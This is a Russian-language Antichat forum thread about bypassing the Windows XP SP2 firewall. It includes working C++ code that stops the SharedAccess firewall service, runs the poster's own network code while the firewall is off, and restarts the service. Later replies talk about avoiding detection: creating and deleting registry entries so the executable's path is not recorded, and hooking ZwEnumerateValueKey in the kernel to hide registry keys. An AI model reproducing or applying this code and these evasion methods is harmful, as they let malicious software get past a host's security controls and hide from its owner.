Форум АНТИЧАТ - Обход Xp Sp2 фаервола

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)

- - Обход Xp Sp2 фаервола (https://forum.antichat.xyz/showthread.php?t=16888)

Обход Xp Sp2 фаервола

4e mne s etom delati?

и что с этим делать, подскажи?

Я для начала попробывал бы откомпилировать в MS Visual C++ 6.0
Вдруг повезет?

код прописывает прогу в список разрешенных файрволом, т.е оставляет "следы":
http://img106.imageshack.us/img106/4...titled2ra1.jpg

А что если воспользоватся более "грубым" способом?

Код:

#include <winsvc.h>

// ...

bool BypassFirewall()

{

        SC_HANDLE firewallService, scm;

        if(!(scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS))) 

                return FALSE;

        // в ХР интернальное имя файрвола SharedAccess

        if (!(firewallService=OpenService(scm,"SharedAccess",SERVICE_ALL_ACCESS)))

        {

                CloseServiceHandle(scm);

                return FALSE;

        }

        

        // останавливаем сервис

        SERVICE_STATUS m_SERVICE_STATUS;

        ControlService(firewallService, SERVICE_CONTROL_STOP,&m_SERVICE_STATUS);



        // далее дожен быть ваш код

        // который работает в обход файрвола

        // ...

        // ...

        

         // запускаем заново сервис

        StartService(firewallService,0,NULL);



        CloseServiceHandle(firewallService);

        CloseServiceHandle(scm);

        return TRUE;

}

естессно эти методы рабочие в случае если прога запущена с привилегиями администратора т.к нужны права для временой остановки/запуска сервиса (записи в реестр значений - в 1м методе)

Deem3n®
а втой способ следов не оставляет? ))

Цитата:

Deem3n®
а втой способ следов не оставляет? ))

Угу))) незапустившегося сервиса чувак точно не заметит))

Хм...
ну не знаю. я бы лишнюю запись в реестре наверно не заметил бы.
Правда и маздаевский фаер не юзал бы ))
Но все равно молодец.

Цитата:

Сообщение от qBiN

Угу))) незапустившегося сервиса чувак точно не заметит))

Сервис будет перезапущен (если ты код смотрел),
а оставлять лишнюю запись в реестре имхо палено т.к в там и в правилах файрвола остается полный путь к экзешнику. Идеальным вариантом будет использование пары RegSetValueEx и RegDeleteKeyEx каждый раз когда данные должны посылаться в обход файрвола.

Цитата:

Сообщение от drmist

а втой способ следов не оставляет?

Цитата:

А что если воспользоватся более "грубым" способом?

я же предложил грубую альтернативу, это что провокационный вопрос или желание попинать ногами?

Кстати, а ты пробовал этод метод? У меня ощущение что если фаервол выключен, новые приложения доступ к сети не имееют...
А если фаер был выключен? (DEMAND_START)
Тогда StopService() вернет ошибку, а StartService его запустит.

Цитата:

а оставлять лишнюю запись в реестре имхо палено т.к в там и в правилах файрвола остается полный путь к экзешнику.

one more time
... у меня перехватывается ZwEnumerateValueKey в ядре, поэтому можно скрыть любые ключи в реестре ...